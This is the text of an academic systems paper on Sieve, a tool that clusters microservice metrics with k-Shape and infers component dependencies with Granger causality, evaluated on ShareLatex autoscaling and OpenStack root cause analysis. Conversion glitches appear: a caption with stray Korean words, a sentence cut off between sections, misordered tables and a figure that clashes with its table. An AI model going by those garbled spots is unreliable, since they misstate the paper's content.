Because k-Shape uses a distance metric based on the shape of the investigated time series, it can detect similarities in two time series, even if one lags the other in the time dimension. This feature is important to determine relationships across components in microservices-based applications because a change in one metric in one component may not reflect on another component’s metrics immediately (e.g., due to the network delay of calls between components).
Additionally, k-Shape is robust against distortion in amplitude because data is normalized via z-normalization ($z = \frac{x - \mu}{\sigma}$) before
being processed. This feature is especially important because different metrics may have different units and thus, may not be directly comparable.
\(k\)-Shape works by initially assigning time series to clusters randomly. In every iteration, it computes new cluster centroids according to SBD with the assigned time series. These centroids are then used to update the assignment for the next iteration until the clusters converge (i.e., the assignments do not change).
We make three adjustments to employ \(k\)-Shape in \textsc{Sieve}. First, we preprocess the collected time series to be compatible with \(k\)-Shape. \(k\)-Shape expects the observations to be equidistantly distributed in the time domain. However, during the load of the application, timeouts or lost packets can cause gaps between the measurements.
To reconstruct missing data, we use spline interpolation of the third order (cubic). A spline is defined piecewise by polynomial functions. Compared to other methods such as averages of previous values or linear interpolation, spline interpolation provides a higher degree of smoothness. It therefore introduces less distortion to the characteristics of a time-series [66]. Additionally, monitoring systems retrieve metrics at different points in time and need to be discretized to match each other. In order to increase the matching accuracy, we discretize using 500ms instead of the original 2s used in the original \(k\)-Shape paper [73].
Our second adjustment is to change the initial assignments of metric time series to clusters. To increase clustering performance and reduce the convergence overhead, we pre-cluster metrics according to their name similarity (e.g., Jaro distance [60]) and use these clusters as the initial assignment instead of the default random assignment. This adjustment is reasonable given that many developers use naming conventions when exporting metrics, and similar names indicate similar metrics. Note that this adjustment is only for performance reasons; the convergence of the \(k\)-Shape clustering does not require any knowledge of the variable names and would not be affected even with a random initial assignment.
During the clustering process, \(k\)-Shape requires the number of clusters to be previously determined. In an application with several components, each of which having various number of metrics, pre-determining the ideal number of clusters may not be straightforward. Our final adjustment is to overcome this limitation: we iteratively vary the number of clusters used by \(k\)-Shape and pick the number that gives the best silhouette value [78], which is a technique to determine the quality of the clusters. The silhouette value is \(-1\) when the assignment is wrong and \(1\) when it is a perfect assignment [29]. We use the SBD as a distance measure in the silhouette computation.
In practice, experimenting with a small number of clusters is sufficient. For our applications, seven clusters per component was sufficient, where each component had up to 300 metrics.
**Representative metrics.** After the clustering, each microservice component will have one or more clusters of metrics. The number of clusters will most likely be much smaller than the number of metrics belonging to that component. Once these clusters are obtained, \textsc{Sieve} picks one representative metric from each cluster. To pick the representative metric from each cluster, \textsc{Sieve} determines the SBD between each metric and the corresponding centroid of the cluster. The metric with the lowest metric is chosen as the representative metric for this cluster.
The high-level idea is that the behavior of the cluster will match this representative metric; otherwise, the rest of the metrics in the cluster would not have been in the same cluster as this metric. The set of representative metrics of a component can then be used to describe a microservice component’s behavior. These representative metrics are then used in conjunction with the call graph obtained in Section 3.1 to identify and understand the relationships across components.
### 3.3 Identify Dependencies
To better understand an application, we need to find dependencies across its components. A naive way of accomplishing this goal would be to compare all components with each other using all possible metrics. One can clearly see that with the increasing number of components and metrics, this would not yield an effective solution.
In the previous section, we described how one can reduce the number of metrics one has to consider in this pairwise comparison by clustering and obtaining the representative metrics of each component. Still, comparing all pairs of components using this reduced set of metrics may be inefficient and redundant considering the number of components in a typical microservices-based application (e.g., tens or hundreds).
\textsc{Sieve} utilizes the call graph obtained in Section 3.1 to reduce the number of components that need to be investigated in a pairwise fashion. For each component, we do pairwise comparisons using each representative metric of its clusters with each of its neighboring components (i.e., callees) and their representative metrics.
\textsc{Sieve} utilizes Granger Causality tests [54] in this pairwise comparison. Granger Causality tests are useful in determining whether a time series can be useful in predicting another time series: In a microservices-based application, the component interactions closely follow the path a request takes inside the application. As a result, these interactions can be predictive of the changes in the metrics of the components in the path. Granger Causality tests offer a statistical approach in understanding the relationships across these components. Informally, Granger Causality is defined as follows. If a metric \(X\) is Granger-causing another metric \(Y\), then we can predict \(Y\) better by using the history of both \(X\) and \(Y\) compared to only using the history of \(Y\) [51].
To utilize Granger Causality tests in \textsc{Sieve}, we built two linear models using the ordinary least-square method [32]. First, we compare each metric \(X_t\) with another metric \(Y_t\). Second, we compare each metric \(X_t\) with the time-lagged version of the other metric \(Y_t\): \(Y_{t-Lag}\). Covering the cases with a time lag is important because the load in one component may not be reflected on another component until the second component receives API calls and starts processing them.
\textsc{Sieve} utilizes short delays to build the time-lagged versions of metrics. The reason is that microservices-based applications typically run in the same data center and their components communicate over a LAN, where typical round-trip times are in the order of milliseconds. \textsc{Sieve} uses a conservative delay of 500ms for unforeseen delays.
To apply the Granger Causality tests and check whether the past values of metric \(X\) can predict the future values of metric \(Y\), both models are compared via the F-test [67]. The null hypothesis (i.e.,
X does not granger-cause Y) is rejected if the p-value is below a critical value.
However, one has to consider various properties of the time series. For example, the F-test requires the time series to be normally distributed. The load generation used in Section 3.1 can be adjusted to accommodate this requirement. Also, the F-test might find spurious regressions when non-stationary time series are included [53]. Non-stationary time series (e.g., monotonically increasing counters for CPU and network interfaces) can be found using the Augmented Dickey-Fuller test [55]. For these time series, the first difference is taken and then used in the Granger Causality tests. Although longer trends may be lost due to the first difference, accumulating metrics such as counters do not present interesting relationships for our purposes.
After applying the Granger Causality test to each component’s representative metrics with its neighbouring component’s representative metrics, we obtain a graph. In this graph, we draw an edge between microservice components, if one metric in one component Granger-causes another metric in a neighbouring component. This edge represents the dependency between these two components and its direction is determined by Granger causality.
While Granger Causality tests are useful in determining predictive causality across microservice components, it has some limitations that we need to consider. For example, it does not cover instantaneous relationships between two variables. More importantly, it might reveal spurious relationships, if important variables are missing in the system: if both X and Y depend on a third variable Z that is not considered, any relationship found between X and Y may not be useful. Fortunately, an indicator of such a situation is that both metrics will Granger-cause each other (i.e., a bidirectional edge in the graph). SIEVE filters these edges out.
4 Applications
In this section, we describe two use cases to demonstrate SIEVE’s ability to handle different workflows. In particular, using SIEVE’s base design, we implemented 1) an orchestration engine for autoscaling and applied it to ShareLatex [22], and 2) a root cause analysis (RCA) engine and applied it to OpenStack [18].
4.1 Orchestration of Autoscaling
For the autoscaling case study, we used ShareLatex [22]—a popular collaborative LaTeX editor. ShareLatex is structured as a microservices-based application, delegating tasks to multiple well-defined components that include a KV-store, load balancer, two databases and 11 node.js based components.
SIEVE’s pairwise investigation of representative metrics of components produces the dependencies across components. By leveraging this dependency graph, our autoscaling engine helps developers to make more informed decisions regarding which components and metrics are more critical to monitor. As a result, developers can generate scaling rules with the goal of adjusting the number of active component instances, depending on real-time workload.
More specifically, we use SIEVE’s dependency graph and extract (1) guiding metrics (i.e., metrics to use in a scaling rule), (2) scaling actions (i.e., actions associated with reacting to varying loads by increasing/decreasing the number of instances subject to minimum/maximum thresholds), and (3) scaling conditions (i.e., conditions based on a guiding metric triggering the corresponding scaling action). Below, we explain how we use SIEVE to generate a scaling rule:
#1: Metric. We pick a metric m that appears the most in Granger causality relations between components.
#2: Scaling actions. In our case study, we restrict scaling actions to scale in/out actions, with increments/decrements of a single component instance (+/−1).
#3: Conditions. The scale in/out thresholds are defined from the values of m according to a Service Level Agreement (SLA) condition. For ShareLatex, such an SLA condition can be to keep 90% of all request latencies below 1000ms. The thresholds for m are iteratively refined during the application loading phase.
4.2 Root Cause Analysis
For the root cause analysis (RCA) case study, we used OpenStack [18, 26], a popular open-source cloud management software. OpenStack is structured as a microservices-based application with a typical deployment of ∼10 (or more) individual components, each often divided into multiple sub-components [80]. Due to its scale and complexity, OpenStack is susceptible to faults and performance issues, often introduced by updates to its codebase.
In microservices-based applications such as Openstack, components can be updated quite often [59], and such updates can affect other application components. If relationships between components are complex, such effects may not be easily foreseeable, even when inter-component interfaces are unchanged (e.g., if the density of inter-component relationships is high or if the activation of relationships is selective depending on the component’s state and inputs). SIEVE’s dependency graph can be used to understand the update’s overall effect on the application: changing dependency graphs can indicate potential problems introduced by an update. By identifying such changes, SIEVE can help developers identify the root cause of the problem.
Our RCA engine leverages SIEVE to generate a list of possible root causes of an anomaly in the monitored application. More specifically, the RCA engine compares the dependency graphs of two different versions of an application: (1) a correct version; and (2) a faulty version. Similarly to [61, 63], we assume that the system anomaly (but not its cause) has been observed and the correct and faulty versions have been identified. The result of this comparison is a list of [component, metric list] pairs: the component item points to a component as a possible source for the issue, whereas the metric list shows the metrics in that component potentially related to the issue, providing a more fine-grained view. With the help of this list, developers can reduce the complexity of their search for the root cause.
<table>
<thead>
<tr>
<th>Dep. graph edges</th>
<th>Different time-lag between similar clusters Includes clusters w/ new/discard metrics</th>
</tr>
</thead>
</table>
Table 2. Description of dependency graph differences considered by the root cause analysis engine.
<table>
<thead>
<tr>
<th>Scoping level</th>
<th>Differences of interest</th>
</tr>
</thead>
<tbody>
<tr>
<td>Component metrics</td>
<td>Present in F version, not in C (new) Present in C version, not in F (discarded)</td>
</tr>
<tr>
<td>Clusters</td>
<td>Cluster includes new/discard metrics</td>
</tr>
</tbody>
</table>
# Description of Dependency Graph Differences Considered by the Root Cause Analysis Engine.
Figure 2. ST 이름의 root cause analysis methodology.
Figure 3. Pairwise adjusted mutual information (AMI) scores between 3 measurements.
Figure 2 shows the five steps involved in the comparison. At each step, we extract and analyze ST 이름의 outputs at three different granularity levels: metrics, clusters, and dependency graph edges. The levels and corresponding differences of interest are described in Table 2. We describe the steps in more detail below.
#1: Metric analysis. This step analyzes the presence or absence of metrics between C and F versions. If a metric m is present in both C and F, it intuitively represents the maintenance of healthy behavior associated with m. As such, these metrics are filtered out of this step. Conversely, the appearance of a new metric (or the disappearance of a previously existing metric) between versions is likely to be related with the anomaly.
#2: Component rankings. In this step, we use the results of step 1 to rank components according to their novelty score (i.e., total number of new or discarded metrics), producing an initial group of interesting components for RCA.
#3: Cluster analysis: novelty & similarity. Clusters aggregate component metrics which exhibit similar behavior over time. The clusters with new or discarded metrics should be more interesting for RCA compared to the unchanged clusters of that component (with some exceptions, explained below). For a given component, we compute the novelty scores of its clusters as the sum of the number of new and discarded metrics, and produce a list of [component, metric list] pairs, where the metric list considers metrics from the clusters with higher novelty scores.
In addition, we track the similarity of a component’s clusters between C and F versions (vice versa). This is done to identify two events: (1) appearance (or disappearance) of edges between versions; and (2) attribute changes in relationships maintained between C and F versions (e.g., a change in Granger causality time lag). An edge between clusters x and y (belonging to components A and B, respectively) is said to be ‘maintained between versions’ if their respective metric compositions do not change significantly between C and F versions, i.e., if \( S(M^A_{x,C}) \approx S(M^A_{x,F}) \) and \( S(M^B_{y,C}) \approx S(M^B_{y,F}) \). \( M^A_{x,C} \) and \( M^A_{x,F} \) are the metric compositions of clusters x and x’ of component A, in the C and F versions, respectively. S is some measure of cluster similarity (defined below). Both events – (1) and (2) – can be an indication of an anomaly, because one would expect edges between clusters with high similarity to be maintained between versions.
We compute the cluster similarity score, S, according to a modified form of the Jaccard similarity coefficient
\[
S = \frac{|M_{i,C}^A \cap M_{j,F}^A|}{|M_{i,C}^A|}
\] (2)
To eliminate the penalty imposed by new metrics added to the faulty cluster, we only consider the contents of the correct cluster in the denominator (instead of the union of \( M_{i,C}^A \) and \( M_{j,F}^A \)).
#4: Edge filtering. To further reduce the list of [component, metric list] pairs, we examine the relationships between components and clusters identified in steps 2 and 3. We identify three events:
1. Edges involving (at least) one cluster with a high novelty score
2. Appearance or disappearance of edges between clusters with high similarity
3. Changes in time lag in edges between clusters with high similarity
Event 1 isolates metrics related to edges which include at least one ‘novel’ cluster. Events 2 and 3 isolate clusters which are maintained between C and F versions, but become interesting for RCA due to a change in their relationship. Novelty and similarity scores are computed as in step 3. We define thresholds for ‘high’ novelty and similarity scores.
#5: Final rankings. We present a final list of [component, metric list] pairs. The list is ordered by component, following the rank given in step 2. The metric list items include the metrics identified at steps 3 and 4.
5 Implementation
We next describe the implementation details of SIEVE. Our system implementation, including used software versions, is published at https://sieve-microservices.github.io. For load generation, SIEVE requires an application-specific load generator. We experimented with two microservices-based applications: ShareLatex [22] and OpenStack [18, 26]. For ShareLatex, we developed our own load generator using Locust [10], a Python-based distributed load generation tool to simulate virtual users in the application (1,041 LoC). For OpenStack, we used Rally [20], the official benchmark suite from OpenStack.
For metric collection, SIEVE uses Telegraf [24] to collect application/system metrics and stores them in InfluxDB [7]. Telegraf seamlessly integrates with InfluxDB, supports metrics of commonly-used components (e.g., Docker, RabbitMQ, memcached) and can run custom scripts for collection of additional metrics exposed by application APIs (e.g., [19]). With this setup, SIEVE can store any time-series metrics exposed by microservice components.
For the call graph extraction, SIEVE leverages sysdig call tracer [23] to obtain which microservice components communicate with each other. We wrote custom scripts to record network system calls with source and destination IP addresses on every machine hosting the components (457 LoC). These IP addresses are then mapped to the components using the cluster manager’s service discovery mechanism.
We implemented SIEVE’s data analytics techniques in Python (2243 LoC) including metric filtering, clustering based on k-Shape, and Granger Causality. The analysis can also be distributed across multiple machines for scalability.
Lastly, we also implemented two case studies based on the SIEVE infrastructure: autoscaling in ShareLatex (720 LoC) and RCA in OpenStack (507 LoC). For our autoscaling engine, we employed Kapacitor [9] to stream metrics from InfluxDB in real-time and to install our scaling rules using its user-defined functions. For the RCA engine, we implemented two modules in Python: one module extracts metric clustering data (125 LoC) and the other module (382 LoC) compares clustering data and dependency graphs.
6 Evaluation
Our evaluation answers the following questions:
1. How effective is the general SIEVE framework? (§6.1)
2. How effective is SIEVE for autoscaling? (§6.2)
3. How effective is SIEVE for root cause analysis? (§6.3)
6.1 SIEVE Evaluation
Before we evaluate SIEVE with the case studies, we evaluate SIEVE’s general properties: (a) the robustness of clustering; (b) the effectiveness of metric reduction; and (c) the monitoring overhead incurred by SIEVE’s infrastructure.
Experimental setup. We ran our measurements on a 10 node cluster, every node with a 4-core Xeon E5405 processor, 8 GB DDR2-RAM and a 500GB HDD. For the general experiments, we loaded ShareLatex using SIEVE five times with random workloads. The random workloads also help to validate whether the model stays consistent, if no assumption about the workload is made.
6.1.1 Robustness
We focus on two aspects to evaluate SIEVE’s robustness. First, we investigate the consistency of clustering across different runs. Second, we try to validate whether the metrics in a cluster indeed belong together.
Consistency. To validate consistency, we compare cluster assignments produced in different measurements. A common metric to compare cluster assignments is Adjusted Mutual Information (AMI) score [85]. AMI is normalized against a random assignment and ranges from zero to one: If AMI is equal to one, both clusters match perfectly. Random assignments will be close to zero.
Figure 3 shows the AMI of cluster assignments for individual components for three independent measurements. To reduce the selection bias we apply randomized workload in a controlled environment. As a result, they should constitute a worst-case performance for the clustering. Our measurements show that the average AMI is 0.597, which is better than random assignments. Based on these measurements, we conclude the clusterings are consistent.
Validity. To evaluate the validity of the clusters, we choose three criteria: (1) Is there a common visible pattern between metrics in one cluster? (2) Do metrics in a cluster belong together assuming application knowledge? (3) Are the shape-based distances between metrics and their cluster centroid below a threshold (i.e., 0.3)?
We choose three clusters with different Silhouette scores (high, medium, low). According to the above criteria, we conclude the clustering algorithm can determine similar metrics. For example, application metrics such as HTTP request times and corresponding database queries are clustered together. Similar to consistency, higher Silhouette scores indicate that the clusters are more meaningful and potentially more useful for the developers. We omit the details for brevity.
6.1.2 Effectiveness
The purpose of clustering is to reduce the number of metrics exposed by the system without losing much information about the system behavior. To evaluate how effective our clustering is in reducing the number of metrics, we compare the results of the clustering with the actual number of metrics in the application. We identified 889 unique metrics within ShareLatex, meaning that an operator would have to understand and filter these metrics. SIEVE’s clustering reduces this number to 65 (averaged across five runs).
Figure 4 shows the reduction in the number of metrics for the individual components in ShareLatex. Note that this measurement is
We next evaluate the effectiveness of \textit{Sieve} for the orchestration of autoscaling in microservices.
\textbf{Experimental setup.} For the autoscaling case study, we used ShareLatex \cite{22} (as described in §4.1). We used 12 t2.large VM-Instances on Amazon EC2 with 2 vCPUs, 8GB RAM and 20 GB Amazon EBS storage. This number of instances was sufficient to stress-test all components of the application. The VM instances were allocated statically during experiments as Docker containers. We created a Docker image for each ShareLatex component and used Rancher \cite{21} as the cluster manager to deploy our containers across different hosts.
\textbf{Dataset.} We used a HTTP trace sample from soccer world cup 1998 \cite{6} for an hour long trace. Note that the access pattern and requested resources in the world cup trace differs from the ShareLatex application. However, we used the trace to map traffic patterns for our application to generate a realistic spike workload. In particular, sessions in the HTTP trace were identified by using the client IP. Afterwards, we enqueued the sessions based on their timestamp, where a virtual user was spawned for the duration of each session and then stopped.
\textbf{Results.} We chose an SLA condition, such that 90th percentile of all request latencies should be below 1000ms. Traditional tools, such as Amazon AWS Auto Scaling \cite{1}, often use the CPU usage as the default metric to trigger autoscaling. \textit{Sieve} identified an application metric named `http-requests\_Project_id\_GET\_mean` (Figure 6) as a better metric for autoscaling than CPU usage.
To calculate the threshold values to trigger autoscaling, we used a 5-minute sample from the peak load of our HTTP trace and iteratively refined the values to stay within the SLA condition. As a result, we found that the trigger thresholds for scaling up and down while using the CPU usage metric should be 21% and 1%, respectively. Similarly, for `http-requests\_Project_id\_GET\_mean`, the thresholds for scaling up and down should be 1400ms and 1120ms, respectively.
After installing the scaling actions, we ran our one-hour trace. Table 4 shows the comparison when using the CPU usage and `http-requests\_Project_id\_GET\_mean` for the scaling triggers. When \textit{Sieve}’s selection of metric was used for autoscaling triggers, the average CPU usage of each component was increased. There were also fewer SLA violations and scaling actions.
\begin{figure}
\centering
\includegraphics[width=\textwidth]{figure5.png}
\caption{Completion time for HTTP requests when using tcpdump, sysdig or native (i.e., no monitoring).}
\end{figure}
\begin{table}[h]
\centering
\begin{tabular}{lrrr}
\hline
\textbf{Metric} & \textbf{Before} & \textbf{After} & \textbf{Reduction} \\
\hline
CPU time [s] & 0.45G & 0.085G & 81.2 % \\
DB size [KB] & 588.8 & 36.0 & 93.8 % \\
Network in [MB] & 11.1 & 2.3 & 79.3 % \\
Network out [KB] & 15.1 & 7.4 & 50.7 % \\
\hline
\end{tabular}
\caption{InfluxDB overhead before \textit{Sieve}’s reduction of metrics.}
\end{table}
\begin{figure}
\centering
\includegraphics[width=\textwidth]{figure6.png}
\caption{Relations between components based on Granger Causality in ShareLatex. The dashed lines denote relationships with metric `http-requests\_Project_id\_GET\_mean`.}
\end{figure}
6.3 Case-study #2: Root Cause Analysis
To evaluate the applicability of Sieve to root cause analysis, we reproduce a representative OpenStack anomaly, Launchpad bug #1533942 [27]. We selected this issue because it has well-documented root causes, providing an appropriate ground truth, and allowing for the identification of 'correct' and 'faulty' code versions. We compare the documented root causes to the lists of root causes produced by our RCA engine. A similar failure is used as a representative case in prior work [52, 80]. Due to space constraints, we refer the analysis of other representative bugs to an extended version of the article available at [84].
**Bug description:** Failure to launch a VM. The bug manifests itself as follows: when launching a new VM instance using the command line interface, one gets the error message ‘No valid host was found. There are not enough hosts available.’ despite the availability of compute nodes. Without any other directly observable output, the instance falls into ‘ERROR’ state and fails.
**Root cause.** The failure is caused by the crash of an agent in the Neutron component, namely the Open vSwitch agent. The Open vSwitch agent is responsible for setting up and managing virtual networking for VM instances. The ultimate cause is traced to a configuration error in OpenStack Kolla’s deployment scripts [27].
**Experimental setup.** We deployed OpenStack components as containerized microservices using Kolla [26]. We configured Kolla to deploy 7 main OpenStack components (e.g., Nova, Neutron, Keystone, Glance, Ceilometer) along with several auxiliary components (e.g., RabbitMQ, memcached) for a total of 47 microservices. We use OpenStack’s telemetry component (Ceilometer) to expose relevant OpenStack-related metrics and extract them via Telegraf. The infrastructure consists of two m4.xlarge Amazon EC2 VM instances to run OpenStack components (16 vCPUs, 64 GB RAM and 20 GB Amazon EBS storage) and three t2.medium VM instances (2 vCPUs, 4GB RAM and 20 GB EBS storage) for the supporting components (measurement, database and deployment).
**Results.** We expect the RCA engine’s outcome to include the Neutron component, along with metrics related to VM launches and networking. The `{component, metrics list}` pairs with Neutron should be ranked higher than others.
To generate load on OpenStack, we run the ‘boot_and_delete’ task 100 times in the Rally benchmark [20], which launches 5 VMs concurrently and deletes them after 15-25 seconds. We apply this process to the correct (C) and faulty (F) versions of OpenStack. For the faulty version, the task fails as described above. We then apply the remaining stages of Sieve and feed the output to the RCA engine. For both versions, the dependency graphs are composed by 16 components, with 647 edges in the C version, and 343 edges in the F version. Below, we summarize the findings of RCA steps.
**Steps #1 & #2: Metric analysis and component rankings.** The total number of unchanged metrics exceeds that of ‘novel’ metrics (i.e., new and/or discarded) by ~4X. Furthermore, the initial component novelty ranking puts the Nova and Neutron components (known to be directly related with the anomaly) within the top 4 positions out of 16 (Table 5). This confirms the intuition behind our approach: novel metrics are more likely to be related to a failure.
### Table 5. OpenStack components, sorted by the number of novel metrics between correct (C) and faulty (F) versions.
<table>
<thead>
<tr>
<th>Component</th>
<th>Changed (New/Discarded)</th>
<th>Total (per component)</th>
<th>Final ranking</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nova API</td>
<td>29 (7/22)</td>
<td>59</td>
<td>1</td>
</tr>
<tr>
<td>Nova libvirt</td>
<td>21 (0/21)</td>
<td>39</td>
<td>2</td>
</tr>
<tr>
<td>Nova scheduler</td>
<td>14 (7/7)</td>
<td>30</td>
<td>-</td>
</tr>
<tr>
<td>Neutron server</td>
<td>12 (2/10)</td>
<td>42</td>
<td>3</td>
</tr>
<tr>
<td>RabbitMQ</td>
<td>11 (5/6)</td>
<td>57</td>
<td>4</td>
</tr>
<tr>
<td>Neutron L3 agent</td>
<td>7 (0/7)</td>
<td>39</td>
<td>5</td>
</tr>
<tr>
<td>Nova noncomputeox</td>
<td>7 (0/7)</td>
<td>12</td>
<td>-</td>
</tr>
<tr>
<td>Glance API</td>
<td>5 (0/5)</td>
<td>27</td>
<td>6</td>
</tr>
<tr>
<td>Neutron DHCP ag.</td>
<td>4 (0/4)</td>
<td>35</td>
<td>7</td>
</tr>
<tr>
<td>Nova compute</td>
<td>3 (0/3)</td>
<td>41</td>
<td>8</td>
</tr>
<tr>
<td>Glance registry</td>
<td>3 (0/3)</td>
<td>23</td>
<td>9</td>
</tr>
<tr>
<td>Haproxy</td>
<td>2 (1/1)</td>
<td>14</td>
<td>10</td>
</tr>
<tr>
<td>Nova conductor</td>
<td>2 (0/2)</td>
<td>29</td>
<td>-</td>
</tr>
<tr>
<td>Other 3 components</td>
<td>0 (0/0)</td>
<td>59</td>
<td>-</td>
</tr>
</tbody>
</table>
**Total** | 113 (22/91) | 508 | -
### Table 4. Comparison between a traditional metric (CPU usage) and Sieve’s selection when used as autoscaling triggers.
<table>
<thead>
<tr>
<th>Metric</th>
<th>CPU usage</th>
<th>Sieve</th>
<th>Difference [%]</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mean CPU usage per component</td>
<td>5.98</td>
<td>9.26</td>
<td>+54.82</td>
</tr>
<tr>
<td>SLA violations (out of 1400 samples)</td>
<td>188</td>
<td>70</td>
<td>-62.77</td>
</tr>
<tr>
<td>Number of scaling actions</td>
<td>32</td>
<td>21</td>
<td>-34.38</td>
</tr>
</tbody>
</table>
### Figure 7. (a) Cluster novelty score. (b) Edge novelty score. (c) No. of components & clusters after edge filtering w/ varying thresholds.
### Figure 8. Final edge differences for RCA evaluation between top 5 components of Table 5 with similarity threshold of 0.50.
Step #3: Cluster novelty & similarity. Computing the cluster novelty scores shows that the novel metrics from step 1 are distributed over only 27 of the 67 clusters (Figure 7(a)), even when conservatively considering a cluster to be novel if it contains at least one new or discarded metric. Considering only novel clusters reduces the number of metrics and the number of edges for the developers to analyze for the root cause in step 4. We also compute the similarity scores for these novel clusters and use the similarity in the next step.
Step #4: Edge filtering. By investigating the novel edges (i.e., new or deleted) in the dependency graph, the developers can better focus on understanding which component might be more relevant to the root cause. Utilizing different cluster similarity scores enables developers to filter out some of the edges that may not be relevant. Figures 7(b & c) show the effect of different cluster similarity thresholds for all components in Table 5 when filtering edges. Without any similarity thresholds, there are 42 edges of interest, corresponding to a set of 13 components, 29 clusters and 221 metrics that might be relevant to the root cause (Figure 7(c)). A higher threshold reduces the number of the \((\text{component}, \text{metrics list})\) pairs: filtering out clusters with inter-version similarity scores below 0.50, there are 24 edges of interest, corresponding to 10 components, 16 clusters and 163 metrics.
Figure 8 shows the edges between the components at the top-5 rows of Table 5, with a similarity threshold of 0.50. Note that one component (i.e., Nova scheduler) was removed by the similarity filter. Also, one of the new edges includes a Nova API component cluster, in which the `nova-instances-in-state-ACTIVE` metric is replaced with `nova-instances-in-state-ERROR`. This change relates directly to the observed anomaly (i.e., error in VM launch). The other end of this edge is a cluster in the Neutron component, which aggregates metrics related to VM networking, including a metric named `neutron-ports-in-status-DOWN`. This observation indicates a causal relationship between the VM failure and a VM networking issue, which is the true root cause of the anomaly.
We also note that a high similarity threshold may filter out useful information. For example, the Neutron component cluster with the `neutron-ports-in-status-DOWN` metric is removed with similarity thresholds above 0.60. We leave the study of this parameter’s sensitivity to future work.
Step #5: Final rankings. The rightmost column on Table 5 shows the final rankings, considering edge filtering step with a 0.50 similarity threshold. Figure 8 shows a significant reduction in terms of state to analyze (from a total of 16 components and 508 metrics to 10 and 163, respectively) because of the exclusion of non-novel clusters. For example, for Nova API, the number of metrics reduces from 39 to 20 and for Neutron server from 42 to 22. Furthermore, our method includes the Neutron component as one of the top 5 components, and isolates an edge which is directly related with the true root cause of the anomaly.
### 7 Related Work
**Scalable Monitoring.** With the increasing number of metrics exposed by distributed cloud systems, the scalability of the monitoring process becomes crucial. Meng et al. [70] optimize monitoring scalability by choosing appropriate monitoring window lengths and adjusting the monitoring intensity at runtime. Canali et al. [39] achieve scalability by clustering metric data. A fuzzy logic approach is used to speed up clustering, and thus obtain data for decision making within shorter periods. Rodrigues et al. [43] explore the trade-off between timeliness and the scalability in cloud monitoring, and analyze the mutual influence between these two aspects based on the monitoring parameters. Our work is complementary to existing monitoring systems since \textsc{Sieve} aims to improve the efficiency by monitoring less number of metrics.
**Distributed Debugging.** Systems like Dapper [81] and Pip [77] require the developers to instrument the application to obtain its causal model. X-trace [47] uses a modified network stack to propagate useful information about the application. In contrast, \textsc{Sieve} does not modify the application code to obtain the call/dependency graph of the application.
Systems such as Fay [46] and DTrace [40] enable developers to dynamically inject debugging requests by developers and require no initial logs of metrics. Pivot Tracing [69] combines dynamic instrumentation with causality tracing. \textsc{Sieve} can complement these approaches, because it can provide information about interesting components and metrics, so that the developers can focus their efforts to understand them better. Furthermore, \textsc{Sieve}’s dependency graph is a general tool that can not only be used for debugging, but also for other purposes such as orchestration [86–88].
Data provenance [34, 50, 83] is another technique that can be used to trace the dataflow in the system. \textsc{Sieve} can also leverage the existing provenance tools to derive the dependence graph.
**Metric reduction.** Reducing the size and dimensionality of the bulk of metric data exposed by complex distributed systems is essential for its understanding. Common techniques include sampling, and data clustering via \(k\)-means and \(k\)-medoids. Kollias et al. [64] employ biased sampling to capture the local density of datasets. Sampling based approaches argue for approximate computing [65, 74, 75] to enable a systematic trade-off between the accuracy, and efficiency to collect and compute on the metrics. Zhou et al. [91] simply use random sampling due to its simplicity and low complexity. Ng et al. [71] improved the \(k\)-medoid method and made it more effective and efficient. Ding et al. [44] rely on clustering over sampled data to reduce clustering time.
\textsc{Sieve}’s approach is unique because of its two-step approach: (1) we first cluster time series to identify the internal dependency between any given metrics and then (2) infer the causal relations among time series. Essentially, \textsc{Sieve} uses two steps of data reduction for better reduction. Furthermore, \textsc{Sieve}’s time series processing method extracts other useful information such as the time delay of the causal relationship, which can be leveraged in different use cases (e.g., root cause analysis).
**Orchestration of autoscaling.** Current techniques for autoscaling can be broadly classified into four categories [68]: (i) static and threshold-based rules (offered by most cloud computing providers [3, 4, 16, 25]); (ii) queuing theory [31, 57, 90]; (iii) reinforcement learning [76, 82, 89]; and (iv) time series analysis [41, 62, 79]. Existing systems using these techniques can benefit from the selection of better metrics and/or from the dependencies between components. In this regard, our work is complementary to these techniques: it is intended to provide the developers with knowledge about the application as a whole. In our case study, we showed the benefits of \textsc{Sieve} for an autoscaling engine using threshold-based rules.
**Root Cause Analysis (RCA).** Large and complex distributed systems are susceptible to anomalies, whose root causes are often hard
to diagnose [59]. Jiang et al. [61] compare "healthy" and "faulty" metric correlation maps, searching broken correlations. In contrast, Sieve leverages Granger causality instead of simple correlation, allowing for richer causality inference (e.g., causality direction, time lag between metrics). MonitorRank [63] uses metric collection for RCA in a service-oriented architecture. It only analyzes pre-established (component, metric) relations according to a previously-generated call graph. Sieve also uses a call graph, but does not fix metric relations between components, for a richer set of potential root causes. There are other application-specific solutions for RCA (e.g., Hansel [80], Gretel [52]). In contrast, Sieve uses a general approach for understanding the complexity of microservices-based applications that can support RCA as well as other use cases.
8 Experience and Lessons Learned
While developing Sieve, we set ourselves ambitious design goals (described in §2.2). However, we learned the following lessons while designing and deploying Sieve for real-world applications.
Lesson#1. When we first designed Sieve, we were envisioning a dependency graph that was clearly showing the relationships between components (e.g., a tree). As a result, not only would the number of metrics that needed to be monitored be reduced, but also the number of components: one would only need to observe the root(s) of the dependency graph, and make the actions of the dependent components according to the established relationships between the root(s) and them. Such a dependency graph would give the orchestration scenario a huge benefit. Unfortunately, our experience has shown us that the relationships between components are usually not linear, making the dependency graph more complex. Also, there was no obvious root. Consequently, we had to adjust our thinking and utilize some application knowledge regarding components and their relations with others. Nevertheless, in our experience, Sieve provides the developer with a good starting point to improve their workflows.
Lesson#2. Sieve is designed for "blackbox" monitoring of the evaluated application, where Sieve can collect and analyze generic system metrics that are exposed by the infrastructure (e.g., CPU usage, disk I/O, network bandwidth). However, in our experience, a system for monitoring and analyzing an application should also consider application-specific metrics (e.g., request latency, number of error messages) to build effective management tools. Fortunately, many microservices applications we analyzed already export such metrics. However, given the number of components and exported metrics, this fact can easily create an "information overload" for the application developers. In fact, the main motivation of Sieve was to deal with this "information overload". Our experience showed that Sieve can still monitor the application in the blackbox mode (i.e., no instrumentation to the application), but also overcome the barrage of application-specific metrics.
